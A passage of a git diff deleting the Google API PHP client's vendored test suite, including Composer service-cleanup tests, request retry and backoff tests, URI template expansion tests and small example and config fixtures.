'SomeRandomFile.txt', - 'ServiceToDelete1/ServiceFoo.php', - 'ServiceToDelete1.php', - 'ServiceToDelete2/ServiceFoo.php', - 'ServiceToDelete2.php', - ]; - foreach ($dirs as $dir) { - @mkdir($serviceDir . $dir, 0777, true); - } - foreach ($files as $file) { - touch($serviceDir . $file); - } - $print = 'Removing 2 google services'; - Composer::cleanup( - $this->createMockEvent(['ServiceToKeep'], $vendorDir, $print), - $this->createMockFilesystem([ - 'ServiceToDelete2', - 'ServiceToDelete2.php', - 'ServiceToDelete1', - 'ServiceToDelete1.php', - ], $serviceDir) - ); - } - - private function createMockFilesystem(array $files, $serviceDir) - { - $mockFilesystem = $this->prophesize(Filesystem::class); - foreach ($files as $filename) { - $file = new \SplFileInfo($serviceDir . $filename); - $mockFilesystem->remove($file->getRealPath()) - ->shouldBeCalledTimes(1); - } - - return $mockFilesystem->reveal(); - } - - private function createMockEvent( - array $servicesToKeep, - $vendorDir = '', - $print = null - ) { - $mockPackage = $this->prophesize('Composer\Package\RootPackage'); - $mockPackage->getExtra() - ->shouldBeCalledTimes(1) - ->willReturn(['google/apiclient-services' => $servicesToKeep]); - - $mockConfig = $this->prophesize('Composer\Config'); - $mockConfig->get('vendor-dir') - ->shouldBeCalledTimes(1) - ->willReturn($vendorDir); - - $mockComposer = $this->prophesize('Composer\Composer'); - $mockComposer->getPackage() - ->shouldBeCalledTimes(1) - ->willReturn($mockPackage->reveal()); - $mockComposer->getConfig() - ->shouldBeCalledTimes(1) - ->willReturn($mockConfig->reveal()); - - $mockEvent = $this->prophesize('Composer\Script\Event'); - $mockEvent->getComposer() - ->shouldBeCalledTimes(1) - ->willReturn($mockComposer); - - if ($print) { - $mockIO = $this->prophesize('Composer\IO\ConsoleIO'); - $mockIO->write($print) - ->shouldBeCalledTimes(1); - - $mockEvent->getIO() - ->shouldBeCalledTimes(1) - ->willReturn($mockIO->reveal()); - } - - return $mockEvent->reveal(); - } - - public function testE2E() - { - $dir = $this->runComposerInstall(self::$composerBaseConfig + [ - 'extra' => [ - 'google/apiclient-services' => [ - 'Drive', - 'YouTube' - ] - ] - ]); - - $serviceDir = $dir . '/vendor/google/apiclient-services/src'; - $this->assertFileExists($serviceDir . '/Drive.php'); - $this->assertFileExists($serviceDir . '/Drive'); - $this->assertFileExists($serviceDir . '/YouTube.php'); - $this->assertFileExists($serviceDir . '/YouTube'); - $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting.php'); - $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting'); - - // Remove the "apiclient-services" directory, which is required to - // update the cleanup command. - passthru('rm -r ' . $dir . '/vendor/google/apiclient-services'); - - $this->runComposerInstall(self::$composerBaseConfig + [ - 'extra' => [ - 'google/apiclient-services' => [ - 'Drive', - 'YouTube', - 'YouTubeReporting', - ] - ] - ], $dir); - - $this->assertFileExists($serviceDir . '/Drive.php'); - $this->assertFileExists($serviceDir . '/Drive'); - $this->assertFileExists($serviceDir . '/YouTube.php'); - $this->assertFileExists($serviceDir . '/YouTube'); - $this->assertFileExists($serviceDir . '/YouTubeReporting.php'); - $this->assertFileExists($serviceDir . '/YouTubeReporting'); - } - - public function testE2EBCTaskName() - { - $composerConfig = self::$composerBaseConfig + [ - 'extra' => [ - 'google/apiclient-services' => [ - 'Drive', - ] - ] - ]; - // Test BC Task name - $composerConfig['scripts']['pre-autoload-dump'] = 'Google_Task_Composer::cleanup'; - - $dir = $this->runComposerInstall($composerConfig); - $serviceDir = $dir . '/vendor/google/apiclient-services/src'; - - $this->assertFileExists($serviceDir . '/Drive.php'); - $this->assertFileExists($serviceDir . '/Drive'); - $this->assertFileDoesNotExist($serviceDir . '/YouTube.php'); - $this->assertFileDoesNotExist($serviceDir . '/YouTube'); - $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting.php'); - $this->assertFileDoesNotExist($serviceDir . '/YouTubeReporting'); - } - - public function testE2EOptimized() - { - $dir = $this->runComposerInstall(self::$composerBaseConfig + [ - 'config' => [ - 'optimize-autoloader' => true, - ], - 'extra' => [ - 'google/apiclient-services' => [ - 'Drive' - ] - ] - ]); - - $classmap = require_once $dir . '/vendor/composer/autoload_classmap.php'; - - // Verify removed services do not show up in the classmap - $this->assertArrayHasKey('Google\Service\Drive', $classmap); - $this->assertArrayNotHasKey('Google\Service\YouTube', $classmap); - } - - private function runComposerInstall(array $composerConfig, $dir = null) - { - $composerJson = json_encode($composerConfig); - - if (is_null($dir)) { - $dir = sys_get_temp_dir() . '/test-' . rand(); - mkdir($dir); - } - - file_put_contents($dir . '/composer.json', $composerJson); - passthru('composer install -d ' . $dir); - - return $dir; - } -} diff --git a/vendor/google/apiclient/tests/Google/Task/RunnerTest.php b/vendor/google/apiclient/tests/Google/Task/RunnerTest.php deleted file mode 100644 index 140231b27d..0000000000 --- a/vendor/google/apiclient/tests/Google/Task/RunnerTest.php +++ /dev/null @@ -1,786 +0,0 @@ -client = new Client(); - } - - /** - * @dataProvider defaultRestErrorProvider - */ - public function testRestRetryOffByDefault($errorCode, $errorBody = '{}') - { - $this->expectException(ServiceException::class); - $this->setNextResponse($errorCode, $errorBody)->makeRequest(); - } - - /** - * @dataProvider defaultRestErrorProvider - */ - public function testOneRestRetryWithError($errorCode, $errorBody = '{}') - { - $this->expectException(ServiceException::class); - $this->setRetryConfig(array('retries' => 1)); - $this->setNextResponses(2, $errorCode, $errorBody)->makeRequest(); - } - - /** - * @dataProvider defaultRestErrorProvider - */ - public function testMultipleRestRetriesWithErrors( - $errorCode, - $errorBody = '{}' - ) { - $this->expectException(ServiceException::class); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextResponses(6, $errorCode, $errorBody)->makeRequest(); - } - - /** - * @dataProvider defaultRestErrorProvider - */ - public function testOneRestRetryWithSuccess($errorCode, $errorBody = '{}') - { - $this->setRetryConfig(array('retries' => 1)); - $result = $this->setNextResponse($errorCode, $errorBody) - ->setNextResponse(200, '{"success": true}') - ->makeRequest(); - - $this->assertEquals('{"success": true}', (string) $result->getBody()); - } - - /** - * @dataProvider defaultRestErrorProvider - */ - public function testMultipleRestRetriesWithSuccess( - $errorCode, - $errorBody = '{}' - ) { - $this->setRetryConfig(array('retries' => 5)); - $result = $this->setNextResponses(2, $errorCode, $errorBody) - ->setNextResponse(200, '{"success": true}') - ->makeRequest(); - - $this->assertEquals('{"success": true}', (string) $result->getBody()); - } - - /** - * @dataProvider defaultRestErrorProvider - */ - public function testCustomRestRetryMapReplacesDefaults( - $errorCode, - $errorBody = '{}' - ) { - $this->expectException(ServiceException::class); - - $this->setRetryMap(array()); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextResponse($errorCode, $errorBody)->makeRequest(); - } - - public function testCustomRestRetryMapAddsNewHandlers() - { - $this->setRetryMap( - array('403' => Runner::TASK_RETRY_ALWAYS) - ); - - $this->setRetryConfig(array('retries' => 5)); - $result = $this->setNextResponses(2, 403) - ->setNextResponse(200, '{"success": true}') - ->makeRequest(); - - $this->assertEquals('{"success": true}', (string) $result->getBody()); - } - - /** - * @dataProvider customLimitsProvider - */ - public function testCustomRestRetryMapWithCustomLimits($limit) - { - $this->expectException(ServiceException::class); - - $this->setRetryMap( - array('403' => $limit) - ); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextResponses($limit + 1, 403)->makeRequest(); - } - - /** - * @dataProvider timeoutProvider - */ - public function testRestTimeouts($config, $minTime) - { - $this->setRetryConfig($config); - $this->setNextResponses($config['retries'], 500) - ->setNextResponse(200, '{"success": true}'); - - $this->assertTaskTimeGreaterThanOrEqual( - $minTime, - array($this, 'makeRequest'), - $config['initial_delay'] / 10 - ); - } - - /** - * @requires extension curl - * @dataProvider defaultCurlErrorProvider - */ - public function testCurlRetryOffByDefault($errorCode, $errorMessage = '') - { - $this->expectException(ServiceException::class); - - $this->setNextResponseThrows($errorMessage, $errorCode)->makeRequest(); - } - - /** - * @requires extension curl - * @dataProvider defaultCurlErrorProvider - */ - public function testOneCurlRetryWithError($errorCode, $errorMessage = '') - { - $this->expectException(ServiceException::class); - - $this->setRetryConfig(array('retries' => 1)); - $this->setNextResponsesThrow(2, $errorMessage, $errorCode)->makeRequest(); - } - - /** - * @requires extension curl - * @dataProvider defaultCurlErrorProvider - */ - public function testMultipleCurlRetriesWithErrors( - $errorCode, - $errorMessage = '' - ) { - $this->expectException(ServiceException::class); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextResponsesThrow(6, $errorMessage, $errorCode)->makeRequest(); - } - - /** - * @requires extension curl - * @dataProvider defaultCurlErrorProvider - */ - public function testOneCurlRetryWithSuccess($errorCode, $errorMessage = '') - { - $this->setRetryConfig(array('retries' => 1)); - $result = $this->setNextResponseThrows($errorMessage, $errorCode) - ->setNextResponse(200, '{"success": true}') - ->makeRequest(); - - $this->assertEquals('{"success": true}', (string) $result->getBody()); - } - - /** - * @requires extension curl - * @dataProvider defaultCurlErrorProvider - */ - public function testMultipleCurlRetriesWithSuccess( - $errorCode, - $errorMessage = '' - ) { - $this->setRetryConfig(array('retries' => 5)); - $result = $this->setNextResponsesThrow(2, $errorMessage, $errorCode) - ->setNextResponse(200, '{"success": true}') - ->makeRequest(); - - $this->assertEquals('{"success": true}', (string) $result->getBody()); - } - - /** - * @requires extension curl - * @dataProvider defaultCurlErrorProvider - */ - public function testCustomCurlRetryMapReplacesDefaults( - $errorCode, - $errorMessage = '' - ) { - $this->expectException(ServiceException::class); - - $this->setRetryMap(array()); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextResponseThrows($errorMessage, $errorCode)->makeRequest(); - } - - /** - * @requires extension curl - */ - public function testCustomCurlRetryMapAddsNewHandlers() - { - $this->setRetryMap( - array(CURLE_COULDNT_RESOLVE_PROXY => Runner::TASK_RETRY_ALWAYS) - ); - - $this->setRetryConfig(array('retries' => 5)); - $result = $this->setNextResponsesThrow(2, '', CURLE_COULDNT_RESOLVE_PROXY) - ->setNextResponse(200, '{"success": true}') - ->makeRequest(); - - $this->assertEquals('{"success": true}', (string) $result->getBody()); - } - - /** - * @requires extension curl - * @dataProvider customLimitsProvider - */ - public function testCustomCurlRetryMapWithCustomLimits($limit) - { - $this->expectException(ServiceException::class); - - $this->setRetryMap( - array(CURLE_COULDNT_RESOLVE_PROXY => $limit) - ); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextResponsesThrow($limit + 1, '', CURLE_COULDNT_RESOLVE_PROXY) - ->makeRequest(); - } - - /** - * @requires extension curl - * @dataProvider timeoutProvider - */ - public function testCurlTimeouts($config, $minTime) - { - $this->setRetryConfig($config); - $this->setNextResponsesThrow($config['retries'], '', CURLE_GOT_NOTHING) - ->setNextResponse(200, '{"success": true}'); - - $this->assertTaskTimeGreaterThanOrEqual( - $minTime, - array($this, 'makeRequest'), - $config['initial_delay'] / 10 - ); - } - - /** - * @dataProvider badTaskConfigProvider - */ - public function testBadTaskConfig($config, $message) - { - $this->expectException(TaskException::class); - $this->expectExceptionMessage($message); - $this->setRetryConfig($config); - - new Runner( - $this->retryConfig, - '', - array($this, 'testBadTaskConfig') - ); - } - - /** - * @expectedExceptionMessage must be a valid callable - */ - public function testBadTaskCallback() - { - $this->expectException(TaskException::class); - $config = []; - new Runner($config, '', 5); - } - - public function testTaskRetryOffByDefault() - { - $this->expectException(ServiceException::class); - - $this->setNextTaskAllowedRetries(Runner::TASK_RETRY_ALWAYS) - ->runTask(); - } - - public function testOneTaskRetryWithError() - { - $this->expectException(ServiceException::class); - - $this->setRetryConfig(array('retries' => 1)); - $this->setNextTasksAllowedRetries(2, Runner::TASK_RETRY_ALWAYS) - ->runTask(); - } - - public function testMultipleTaskRetriesWithErrors() - { - $this->expectException(ServiceException::class); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextTasksAllowedRetries(6, Runner::TASK_RETRY_ALWAYS) - ->runTask(); - } - - public function testOneTaskRetryWithSuccess() - { - $this->setRetryConfig(array('retries' => 1)); - $result = $this->setNextTaskAllowedRetries(Runner::TASK_RETRY_ALWAYS) - ->setNextTaskReturnValue('success') - ->runTask(); - - $this->assertEquals('success', $result); - } - - public function testMultipleTaskRetriesWithSuccess() - { - $this->setRetryConfig(array('retries' => 5)); - $result = $this->setNextTasksAllowedRetries(2, Runner::TASK_RETRY_ALWAYS) - ->setNextTaskReturnValue('success') - ->runTask(); - - $this->assertEquals('success', $result); - } - - /** - * @dataProvider customLimitsProvider - */ - public function testTaskRetryWithCustomLimits($limit) - { - $this->expectException(ServiceException::class); - - $this->setRetryConfig(array('retries' => 5)); - $this->setNextTasksAllowedRetries($limit + 1, $limit) - ->runTask(); - } - - /** - * @dataProvider timeoutProvider - */ - public function testTaskTimeouts($config, $minTime) - { - $this->setRetryConfig($config); - $this->setNextTasksAllowedRetries($config['retries'], $config['retries'] + 1) - ->setNextTaskReturnValue('success'); - - $this->assertTaskTimeGreaterThanOrEqual( - $minTime, - array($this, 'runTask'), - $config['initial_delay'] / 10 - ); - } - - public function testTaskWithManualRetries() - { - $this->setRetryConfig(array('retries' => 2)); - $this->setNextTasksAllowedRetries(2, Runner::TASK_RETRY_ALWAYS); - - $task = new Runner( - $this->retryConfig, - '', - array($this, 'runNextTask') - ); - - $this->assertTrue($task->canAttempt()); - $this->assertTrue($task->attempt()); - - $this->assertTrue($task->canAttempt()); - $this->assertTrue($task->attempt()); - - $this->assertTrue($task->canAttempt()); - $this->assertTrue($task->attempt()); - - $this->assertFalse($task->canAttempt()); - $this->assertFalse($task->attempt()); - } - - /** - * Provider for backoff configurations and expected minimum runtimes. - * - * @return array - */ - public function timeoutProvider() - { - $config = array('initial_delay' => .001, 'max_delay' => .01); - - return array( - array(array_merge($config, array('retries' => 1)), .001), - array(array_merge($config, array('retries' => 2)), .0015), - array(array_merge($config, array('retries' => 3)), .00225), - array(array_merge($config, array('retries' => 4)), .00375), - array(array_merge($config, array('retries' => 5)), .005625) - ); - } - - /** - * Provider for custom retry limits. - * - * @return array - */ - public function customLimitsProvider() - { - return array( - array(Runner::TASK_RETRY_NEVER), - array(Runner::TASK_RETRY_ONCE), - ); - } - - /** - * Provider for invalid task configurations. - * - * @return array - */ - public function badTaskConfigProvider() - { - return array( - array(array('initial_delay' => -1), 'must not be negative'), - array(array('max_delay' => 0), 'must be greater than 0'), - array(array('factor' => 0), 'must be greater than 0'), - array(array('jitter' => 0), 'must be greater than 0'), - array(array('retries' => -1), 'must not be negative') - ); - } - - /** - * Provider for the default REST errors. - * - * @return array - */ - public function defaultRestErrorProvider() - { - return array( - array(500), - array(503), - array(403, '{"error":{"errors":[{"reason":"rateLimitExceeded"}]}}'), - array(403, '{"error":{"errors":[{"reason":"userRateLimitExceeded"}]}}'), - ); - } - - /** - * Provider for the default cURL errors. - * - * @return array - */ - public function defaultCurlErrorProvider() - { - return array( - array(6), // CURLE_COULDNT_RESOLVE_HOST - array(7), // CURLE_COULDNT_CONNECT - array(28), // CURLE_OPERATION_TIMEOUTED - array(35), // CURLE_SSL_CONNECT_ERROR - array(52), // CURLE_GOT_NOTHING - ); - } - - /** - * Assert the minimum amount of time required to run a task. - * - * NOTE: Intentionally crude for brevity. - * - * @param float $expected The expected minimum execution time - * @param callable $callback The task to time - * @param float $delta Allowable relative error - * - * @throws PHPUnit_Framework_ExpectationFailedException - */ - public static function assertTaskTimeGreaterThanOrEqual( - $expected, - $callback, - $delta = 0.0 - ) { - $time = microtime(true); - - call_user_func($callback); - - self::assertThat( - microtime(true) - $time, - self::logicalOr( - self::greaterThan($expected), - self::equalTo($expected, $delta) - ) - ); - } - - /** - * Sets the task runner configurations. - * - * @param array $config The task runner configurations - */ - private function setRetryConfig(array $config) - { - $config += array( - 'initial_delay' => .0001, - 'max_delay' => .001, - 'factor' => 2, - 'jitter' => .5, - 'retries' => 1 - ); - $this->retryConfig = $config; - } - - private function setRetryMap(array $retryMap) - { - $this->retryMap = $retryMap; - } - - /** - * Sets the next responses. - * - * @param integer $count The number of responses - * @param string $code The response code - * @param string $body The response body - * @param array $headers The response headers - * - * @return TaskTest - */ - private function setNextResponses( - $count, - $code = '200', - $body = '{}', - array $headers = array() - ) { - while ($count-- > 0) { - $this->setNextResponse($code, $body, $headers); - } - - return $this; - } - - /** - * Sets the next response. - * - * @param string $code The response code - * @param string $body The response body - * @param array $headers The response headers - * - * @return TaskTest - */ - private function setNextResponse( - $code = '200', - $body = '{}', - array $headers = array() - ) { - $this->mockedCalls[$this->mockedCallsCount++] = array( - 'code' => (string) $code, - 'headers' => $headers, - 'body' => is_string($body) ? $body : json_encode($body) - ); - - return $this; - } - - /** - * Forces the next responses to throw an IO exception. - * - * @param integer $count The number of responses - * @param string $message The exception messages - * @param string $code The exception code - * - * @return TaskTest - */ - private function setNextResponsesThrow($count, $message, $code) - { - while ($count-- > 0) { - $this->setNextResponseThrows($message, $code); - } - - return $this; - } - - /** - * Forces the next response to throw an IO exception. - * - * @param string $message The exception messages - * @param string $code The exception code - * - * @return TaskTest - */ - private function setNextResponseThrows($message, $code) - { - $this->mockedCalls[$this->mockedCallsCount++] = new ServiceException( - $message, - $code, - null, - array() - ); - - return $this; - } - - /** - * Runs the defined request. - * - * @return array - */ - private function makeRequest() - { - $request = new Request('GET', '/test'); - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - - if ($this->isGuzzle5()) { - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->shouldBeCalledTimes($this->mockedCallsCount) - ->willReturn(new \GuzzleHttp\Message\Request('GET', '/test')); - - $http->send(Argument::type('GuzzleHttp\Message\Request')) - ->shouldBeCalledTimes($this->mockedCallsCount) - ->will([$this, 'getNextMockedCall']); - } else { - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes($this->mockedCallsCount) - ->will([$this, 'getNextMockedCall']); - } - - return REST::execute($http->reveal(), $request, '', $this->retryConfig, $this->retryMap); - } - - /** - * Gets the next mocked response. - * - * @param GoogleRequest $request The mocked request - * - * @return GoogleRequest - */ - public function getNextMockedCall($request) - { - $current = $this->mockedCalls[$this->currentMockedCall++]; - - if ($current instanceof Exception) { - throw $current; - } - - if ($this->isGuzzle5()) { - $stream = Guzzle5Stream::factory($current['body']); - $response = new Guzzle5Response($current['code'], $current['headers'], $stream); - } else { - $stream = Psr7\Utils::streamFor($current['body']); - $response = new Response($current['code'], $current['headers'], $stream); - } - - return $response; - } - - /** - * Sets the next task return value. - * - * @param mixed $value The next return value - * - * @return TaskTest - */ - private function setNextTaskReturnValue($value) - { - $this->mockedCalls[$this->mockedCallsCount++] = $value; - return $this; - } - - /** - * Sets the next exception `allowedRetries()` return value. - * - * @param boolean $allowedRetries The next `allowedRetries()` return value. - * - * @return TaskTest - */ - private function setNextTaskAllowedRetries($allowedRetries) - { - $this->mockedCalls[$this->mockedCallsCount++] = $allowedRetries; - return $this; - } - - /** - * Sets multiple exception `allowedRetries()` return value. - * - * @param integer $count The number of `allowedRetries()` return values. - * @param boolean $allowedRetries The `allowedRetries()` return value. - * - * @return TaskTest - */ - private function setNextTasksAllowedRetries($count, $allowedRetries) - { - while ($count-- > 0) { - $this->setNextTaskAllowedRetries($allowedRetries); - } - - return $this; - } - - /** - * Runs the defined task. - * - * @return mixed - */ - private function runTask() - { - $task = new Runner( - $this->retryConfig, - '', - array($this, 'runNextTask') - ); - - if (null !== $this->retryMap) { - $task->setRetryMap($this->retryMap); - } - - $exception = $this->prophesize(ServiceException::class); - - $exceptionCount = 0; - $exceptionCalls = array(); - - for ($i = 0; $i < $this->mockedCallsCount; $i++) { - if (is_int($this->mockedCalls[$i])) { - $exceptionCalls[$exceptionCount++] = $this->mockedCalls[$i]; - $this->mockedCalls[$i] = $exception->reveal(); - } - } - - $task->setRetryMap($exceptionCalls); - - return $task->run(); - } - - /** - * Gets the next task return value. - * - * @return mixed - */ - public function runNextTask() - { - $current = $this->mockedCalls[$this->currentMockedCall++]; - - if ($current instanceof Exception) { - throw $current; - } - - return $current; - } -} diff --git a/vendor/google/apiclient/tests/Google/Utils/UriTemplateTest.php b/vendor/google/apiclient/tests/Google/Utils/UriTemplateTest.php deleted file mode 100644 index 8302db1ad7..0000000000 --- a/vendor/google/apiclient/tests/Google/Utils/UriTemplateTest.php +++ /dev/null @@ -1,306 +0,0 @@ -assertEquals( - "value", - $urit->parse("{var}", array("var" => $var)) - ); - $this->assertEquals( - "Hello%20World%21", - $urit->parse("{hello}", array("hello" => $hello)) - ); - } - - public function testLevelTwo() - { - $var = "value"; - $hello = "Hello World!"; - $path = "/foo/bar"; - - $urit = new UriTemplate(); - $this->assertEquals( - "value", - $urit->parse("{+var}", array("var" => $var)) - ); - $this->assertEquals( - "Hello%20World!", - $urit->parse("{+hello}", array("hello" => $hello)) - ); - $this->assertEquals( - "/foo/bar/here", - $urit->parse("{+path}/here", array("path" => $path)) - ); - $this->assertEquals( - "here?ref=/foo/bar", - $urit->parse("here?ref={+path}", array("path" => $path)) - ); - $this->assertEquals( - "X#value", - $urit->parse("X{#var}", array("var" => $var)) - ); - $this->assertEquals( - "X#Hello%20World!", - $urit->parse("X{#hello}", array("hello" => $hello)) - ); - } - - public function testLevelThree() - { - $var = "value"; - $hello = "Hello World!"; - $empty = ''; - $path = "/foo/bar"; - $x = "1024"; - $y = "768"; - - $urit = new UriTemplate(); - $this->assertEquals( - "map?1024,768", - $urit->parse("map?{x,y}", array("x" => $x, "y" => $y)) - ); - $this->assertEquals( - "1024,Hello%20World%21,768", - $urit->parse("{x,hello,y}", array("x" => $x, "y" => $y, "hello" => $hello)) - ); - - $this->assertEquals( - "1024,Hello%20World!,768", - $urit->parse("{+x,hello,y}", array("x" => $x, "y" => $y, "hello" => $hello)) - ); - $this->assertEquals( - "/foo/bar,1024/here", - $urit->parse("{+path,x}/here", array("x" => $x, "path" => $path)) - ); - - $this->assertEquals( - "#1024,Hello%20World!,768", - $urit->parse("{#x,hello,y}", array("x" => $x, "y" => $y, "hello" => $hello)) - ); - $this->assertEquals( - "#/foo/bar,1024/here", - $urit->parse("{#path,x}/here", array("x" => $x, "path" => $path)) - ); - - $this->assertEquals( - "X.value", - $urit->parse("X{.var}", array("var" => $var)) - ); - $this->assertEquals( - "X.1024.768", - $urit->parse("X{.x,y}", array("x" => $x, "y" => $y)) - ); - - $this->assertEquals( - "X.value", - $urit->parse("X{.var}", array("var" => $var)) - ); - $this->assertEquals( - "X.1024.768", - $urit->parse("X{.x,y}", array("x" => $x, "y" => $y)) - ); - - $this->assertEquals( - "/value", - $urit->parse("{/var}", array("var" => $var)) - ); - $this->assertEquals( - "/value/1024/here", - $urit->parse("{/var,x}/here", array("x" => $x, "var" => $var)) - ); - - $this->assertEquals( - ";x=1024;y=768", - $urit->parse("{;x,y}", array("x" => $x, "y" => $y)) - ); - $this->assertEquals( - ";x=1024;y=768;empty", - $urit->parse("{;x,y,empty}", array("x" => $x, "y" => $y, "empty" => $empty)) - ); - - $this->assertEquals( - "?x=1024&y=768", - $urit->parse("{?x,y}", array("x" => $x, "y" => $y)) - ); - $this->assertEquals( - "?x=1024&y=768&empty=", - $urit->parse("{?x,y,empty}", array("x" => $x, "y" => $y, "empty" => $empty)) - ); - - $this->assertEquals( - "?fixed=yes&x=1024", - $urit->parse("?fixed=yes{&x}", array("x" => $x, "y" => $y)) - ); - $this->assertEquals( - "&x=1024&y=768&empty=", - $urit->parse("{&x,y,empty}", array("x" => $x, "y" => $y, "empty" => $empty)) - ); - } - - public function testLevelFour() - { - $values = array( - 'var' => "value", - 'hello' => "Hello World!", - 'path' => "/foo/bar", - 'list' => array("red", "green", "blue"), - 'keys' => array("semi" => ";", "dot" => ".", "comma" => ","), - ); - - $tests = array( - "{var:3}" => "val", - "{var:30}" => "value", - "{list}" => "red,green,blue", - "{list*}" => "red,green,blue", - "{keys}" => "semi,%3B,dot,.,comma,%2C", - "{keys*}" => "semi=%3B,dot=.,comma=%2C", - "{+path:6}/here" => "/foo/b/here", - "{+list}" => "red,green,blue", - "{+list*}" => "red,green,blue", - "{+keys}" => "semi,;,dot,.,comma,,", - "{+keys*}" => "semi=;,dot=.,comma=,", - "{#path:6}/here" => "#/foo/b/here", - "{#list}" => "#red,green,blue", - "{#list*}" => "#red,green,blue", - "{#keys}" => "#semi,;,dot,.,comma,,", - "{#keys*}" => "#semi=;,dot=.,comma=,", - "X{.var:3}" => "X.val", - "X{.list}" => "X.red,green,blue", - "X{.list*}" => "X.red.green.blue", - "X{.keys}" => "X.semi,%3B,dot,.,comma,%2C", - "X{.keys*}" => "X.semi=%3B.dot=..comma=%2C", - "{/var:1,var}" => "/v/value", - "{/list}" => "/red,green,blue", - "{/list*}" => "/red/green/blue", - "{/list*,path:4}" => "/red/green/blue/%2Ffoo", - "{/keys}" => "/semi,%3B,dot,.,comma,%2C", - "{/keys*}" => "/semi=%3B/dot=./comma=%2C", - "{;hello:5}" => ";hello=Hello", - "{;list}" => ";list=red,green,blue", - "{;list*}" => ";list=red;list=green;list=blue", - "{;keys}" => ";keys=semi,%3B,dot,.,comma,%2C", - "{;keys*}" => ";semi=%3B;dot=.;comma=%2C", - "{?var:3}" => "?var=val", - "{?list}" => "?list=red,green,blue", - "{?list*}" => "?list=red&list=green&list=blue", - "{?keys}" => "?keys=semi,%3B,dot,.,comma,%2C", - "{?keys*}" => "?semi=%3B&dot=.&comma=%2C", - "{&var:3}" => "&var=val", - "{&list}" => "&list=red,green,blue", - "{&list*}" => "&list=red&list=green&list=blue", - "{&keys}" => "&keys=semi,%3B,dot,.,comma,%2C", - "{&keys*}" => "&semi=%3B&dot=.&comma=%2C", - "find{?list*}" => "find?list=red&list=green&list=blue", - "www{.list*}" => "www.red.green.blue" - - ); - - $urit = new UriTemplate(); - - foreach ($tests as $input => $output) { - $this->assertEquals($output, $urit->parse($input, $values), $input . " failed"); - } - } - - public function testMultipleAnnotations() - { - $var = "value"; - $hello = "Hello World!"; - $urit = new UriTemplate(); - $this->assertEquals( - "http://www.google.com/Hello%20World!?var=value", - $urit->parse( - "http://www.google.com/{+hello}{?var}", - array("var" => $var, "hello" => $hello) - ) - ); - $params = array( - "playerId" => "me", - "leaderboardId" => "CgkIhcG1jYEbEAIQAw", - "timeSpan" => "ALL_TIME", - "other" => "irrelevant" - ); - $this->assertEquals( - "players/me/leaderboards/CgkIhcG1jYEbEAIQAw/scores/ALL_TIME", - $urit->parse( - "players/{playerId}/leaderboards/{leaderboardId}/scores/{timeSpan}", - $params - ) - ); - } - - /** - * This test test against the JSON files defined in - * https://github.com/uri-templates/uritemplate-test - * - * We don't ship these tests with it, so they'll just silently - * skip unless provided - this is mainly for use when - * making specific URI template changes and wanting - * to do a full regression check. - */ - public function testAgainstStandardTests() - { - $location = __DIR__ . "/../../uritemplate-test/*.json"; - $files = glob($location); - - if (!$files) { - $this->markTestSkipped('No JSON files provided'); - } - - $urit = new UriTemplate(); - foreach ($files as $file) { - $test = json_decode(file_get_contents($file), true); - foreach ($test as $title => $testsets) { - foreach ($testsets['testcases'] as $cases) { - $input = $cases[0]; - $output = $cases[1]; - if ($output == false) { - continue; // skipping negative tests for now - } else if (is_array($output)) { - $response = $urit->parse($input, $testsets['variables']); - $this->assertContains( - $response, - $output, - $input . " failed from " . $title - ); - } else { - $this->assertEquals( - $output, - $urit->parse($input, $testsets['variables']), - $input . " failed." - ); - } - } - } - } - } -} diff --git a/vendor/google/apiclient/tests/README b/vendor/google/apiclient/tests/README deleted file mode 100644 index aa5a5a56c7..0000000000 --- a/vendor/google/apiclient/tests/README +++ /dev/null @@ -1,2 +0,0 @@ -These tests depend on PHPUnit, see -http://www.phpunit.de/manual/current/en/installation.html for more instructions diff --git a/vendor/google/apiclient/tests/bootstrap.php b/vendor/google/apiclient/tests/bootstrap.php deleted file mode 100644 index f0eee6f167..0000000000 --- a/vendor/google/apiclient/tests/bootstrap.php +++ /dev/null @@ -1,21 +0,0 @@ -getCache()->getItem('access_token'); -print_r($cacheItem->get()); -$test->getCache()->deleteItem('access_token'); - -echo "SUCCESS\n"; diff --git a/vendor/google/apiclient/tests/config/test.ini b/vendor/google/apiclient/tests/config/test.ini deleted file mode 100644 index a944d926f8..0000000000 --- a/vendor/google/apiclient/tests/config/test.ini +++ /dev/null @@ -1,6 +0,0 @@ -; Test.ini file -application_name = My Test application -auth_class = Google_Auth_OAuth2 -client_id = 12345.apps.googleusercontent.com -client_secret = gjfiwnGinpena3 -redirect_uri = http://example.com diff --git a/vendor/google/apiclient/tests/examples/batchTest.php b/vendor/google/apiclient/tests/examples/batchTest.php deleted file mode 100644 index 0caaffbeaa..0000000000 --- a/vendor/google/apiclient/tests/examples/batchTest.php +++ /dev/null @@ -1,39 +0,0 @@ -checkKey(); - - $crawler = $this->loadExample('batch.php'); - - $nodes = $crawler->filter('br'); - $this->assertCount(20, $nodes); - $this->assertContains('Walden', $crawler->text()); - $this->assertContains('George Bernard Shaw', $crawler->text()); - } -} diff --git a/vendor/google/apiclient/tests/examples/idTokenTest.php b/vendor/google/apiclient/tests/examples/idTokenTest.php deleted file mode 100644 index 5fd0ddfba1..0000000000 --- a/vendor/google/apiclient/tests/examples/idTokenTest.php +++ /dev/null @@ -1,42 +0,0 @@ -checkServiceAccountCredentials(); - - $crawler = $this->loadExample('idtoken.php'); - - $nodes = $crawler->filter('h1'); - $this->assertCount(1, $nodes); - $this->assertEquals('Retrieving An Id Token', $nodes->first()->text()); - - $nodes = $crawler->filter('a.login'); - $this->assertCount(1, $nodes); - $this->assertEquals('Connect Me!', $nodes->first()->text()); - } -} \ No newline at end of file diff --git a/vendor/google/apiclient/tests/examples/indexTest.php b/vendor/google/apiclient/tests/examples/indexTest.php deleted file mode 100644 index 81793a277a..0000000000 --- a/vendor/google/apiclient/tests/examples/indexTest.php +++ 